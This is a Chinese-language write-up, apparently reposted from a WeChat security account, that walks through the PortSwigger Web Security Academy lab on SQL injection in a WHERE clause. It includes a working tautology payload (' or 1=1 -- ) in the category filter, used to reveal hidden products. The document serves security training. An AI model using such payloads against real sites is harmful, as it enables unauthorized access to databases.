SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

admin 2023年10月10日00:59:59评论28 views字数 1722阅读5分44秒阅读模式

前言

作者:zkaq-杳若

突破WHERE限制的SQL子句,显示表内全部内容


  1. Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

实验前置必要知识点

一个没有安全概念的网站,会直接将用户的输入拼接到SQL语句中进行查询。

例如当用户单击“礼品”类别时,其浏览器会请求 URL:


  1. https://insecure-website.com/products?category=Gifts

这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息:


  1. SELECT * FROM products WHERE category = 'Gifts'

因此在黑盒测试中可以利用注释的方法尝试SQL注入

实验要求

此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询:


  1. SELECT * FROM products WHERE category = 'Gifts' AND released = 1

若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。

渗透开始

  • 访问对应靶场界面

  1. https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
  • 启动靶场
    1. 站点分析

这是购物类型的网站

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

存在查看商品以及优化搜索的功能

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,日志中比较可疑的两处功能点

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

在控制台输入时间查询,确认时间是可查询的


  1. console.log(new Date());
  2. VM27:1 Tue Aug 08 2023 17:56:11 GMT+0800 (中国标准时间)
  3. console.log(new Date());
  4. VM31:1 Tue Aug 08 2023 17:56:12 GMT+0800 (中国标准时间)

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

3. 功能点测试

将对应的日志信息发送到重放模块,首先是productId=6

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

推测通过查询Id,系统会访问后端数据库提取Id为6的内容并回显到前端


  1. # 例如从所有表中查询对应Id为6的内容并回显
  2. SELECT * FROM products WHERE producId = 6

尝试添加一个'使其应用错误响应,发现提示"Invalid product ID"

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

再次尝试发现似乎不行,因为查询的是数字,可能限定为整数型
也有可能页面的内容不需要改变,不存在SQL注入

4.寻找其他功能点

接下来测试优化标签的功能点

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

根据提示,似乎是这处


  1. SELECT * FROM products WHERE category = 'Accessories' AND released = 1

可控区域在


  1. SELECT * FROM products WHERE category = '{用户输入处}' AND released = 1

实验要求是请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息,本质上应该是去掉WHERE的限制

首先尝试让SQL语句进行报错,通常我们可以尝试输入'


  1. SELECT * FROM products WHERE category = ''' AND released = 1

很直观的发现服务器回显了500 大概率是SQL语句报错产生

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

尝试构造Ture的语法并且注释掉released = 1 首先闭合SQL语句,并且注释掉后面的内容


  1. SELECT * FROM products WHERE category = '{' or 1=1 -- q}' AND released = 1
  2. SELECT * FROM products WHERE category = '' or 1=1 -- q' AND released = 1

因为是在GET传参,所以空格需要进行编码成%20


  1. GET /filter?category=Accessories'%20or%201=1%20--%20q HTTP/2
5.完成实验

这样总体的SQL语句就会变成只要是在products表中的内容都会显示


  1. SELECT * FROM products WHERE True

发现确实将输入执行成了SQL注入,成功完成了实验

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

原文始发于微信公众号(零信任攻防实验室):SQL注入之突破WHERE限制的SQL子句,显示表内全部内容

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月10日00:59:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之突破WHERE限制的SQL子句,显示表内全部内容http://cn-sec.com/archives/2097589.html

发表评论

匿名网友 填写信息